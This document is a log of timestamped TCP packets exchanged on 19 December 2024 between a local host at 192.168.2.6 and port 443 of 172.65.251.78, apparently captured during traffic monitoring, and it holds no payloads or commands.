Dec 19, 2024 14:20:18.730691910 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.730801105 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:18.737591028 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.737677097 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:18.745137930 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.745289087 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:18.763147116 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.763186932 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.763231039 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:18.763240099 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.763299942 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.095547915 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.095602989 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.095673084 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.095690012 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.095710039 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.095818043 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.095879078 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.095879078 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.095890045 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.095922947 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.095926046 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.096010923 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.096028090 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.096201897 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.096241951 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.096295118 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.096302986 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.096345901 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.096344948 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.096415043 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.096415043 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.096430063 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.096452951 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.096539021 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.096539021 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.318660021 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.318717957 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.318749905 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.318764925 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.318833113 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.319374084 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.319935083 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.319977999 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.320033073 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.320034027 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.320044994 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.320059061 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.321480989 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.475394964 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.475420952 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.475486994 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.475497007 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.475585938 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.475585938 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.475936890 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.475979090 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.476037025 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.476037025 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.476046085 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.476080894 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.476327896 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.476372004 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.476448059 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.476448059 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.476464987 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.476571083 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.477303982 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.477344990 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.477545023 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.477545023 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.477554083 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.477811098 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.499936104 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.499980927 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.500041962 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.500051022 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.500068903 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.500250101 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.589061022 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.589112043 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.589186907 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.589200974 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.589232922 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.589232922 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.641735077 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.641782045 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.641828060 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.641839027 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.641855955 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.641890049 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.692434072 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.692492008 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.692589045 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.692589045 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.692605019 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.693485022 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.728451967 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.728499889 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.728586912 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.728586912 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.728605032 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.728734016 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.752227068 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.752249956 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.752326965 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.752342939 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.752533913 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.752533913 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.780455112 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.780474901 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.780620098 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.780632973 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.780761957 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.984100103 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.984157085 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.984265089 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.984283924 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.984292984 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.984365940 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.984468937 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.984510899 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.984564066 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.984570980 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.984599113 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.984729052 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.984821081 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.984878063 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.985023022 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.985023975 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.985033035 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.985110044 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.985467911 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.985510111 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.985572100 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.985572100 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.985579014 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.985671997 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.986447096 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.986490011 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.986534119 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.986541986 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:19.986707926 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:19.986707926 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.002266884 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.002363920 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.002396107 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.002413988 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.002549887 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.002549887 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.030551910 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.030648947 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.030654907 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.030679941 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.030704021 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.031045914 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.057960987 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.058010101 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.058059931 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.058067083 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.058132887 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.058132887 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.153445005 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.153492928 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.153784990 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.153784990 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.153796911 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.153860092 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.180879116 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.180931091 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.180969954 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.180980921 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.181025028 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.181041002 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.204510927 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.204561949 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.204627037 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.204637051 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.204646111 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.204741001 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.228379011 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.228491068 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.228539944 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.228548050 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.228584051 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.228805065 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.248147964 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.248197079 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.248330116 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.248331070 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.248339891 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.248428106 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.269046068 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.269124031 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.269136906 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.269160986 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.269201040 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.269294024 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.296717882 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.296787977 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.296854019 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.296854019 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.296871901 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.297162056 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.326040983 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.326112986 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.326200962 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.326200962 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.326221943 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.326407909 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.355940104 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.356004000 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.356054068 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.356065035 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.356137991 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.356137991 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.380048990 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.380096912 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.380292892 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.380292892 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.380302906 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.380414009 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.574189901 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.574219942 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.574362993 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.574377060 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.574417114 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.574466944 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.574584961 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.574606895 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.574646950 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.574652910 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.574696064 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.574749947 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.575256109 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.575278997 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.575336933 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.575347900 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.575360060 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.575364113 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.575416088 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.575462103 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.575472116 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.575500965 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.575519085 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.575540066 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.575540066 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.575548887 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.575598955 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.575598955 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.575649023 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.575995922 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.576016903 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.576061964 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.576066971 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.576092005 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.576141119 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.576611042 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.576632023 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.576694965 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.576700926 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.576746941 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.576977015 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.577078104 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.577097893 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.577135086 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.577138901 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.577181101 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.577258110 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.577383041 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.577402115 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.577512026 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.577512026 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.577522039 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.577661991 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.579722881 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.579751968 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.579796076 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.579802036 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.579838037 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.579849958 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.593399048 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.593465090 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.593656063 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.593656063 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:20.593674898 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:20.593743086 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.178354979 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.178388119 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.178433895 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.178582907 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.178582907 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.178597927 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.179029942 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.190561056 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.190607071 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.190702915 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.190711021 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.190733910 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.190824032 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.191118002 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.191132069 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.191332102 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.191340923 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.191464901 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.191540956 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.191585064 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.191622019 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.191631079 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.191695929 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.191695929 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.191874981 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.191916943 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.191972971 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.191979885 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.191998959 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.192018986 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.192151070 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.192190886 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.192327023 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.192337036 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.192409992 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.192421913 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.192440033 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.192488909 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.192549944 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.192681074 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.192682028 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.192708969 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.192744970 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.192811012 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.192811012 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.192822933 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.192879915 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.192892075 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.192931890 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.192989111 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.192998886 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.193048000 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.193048000 CET	49739	443	192.168.2.6	172.65.251.78
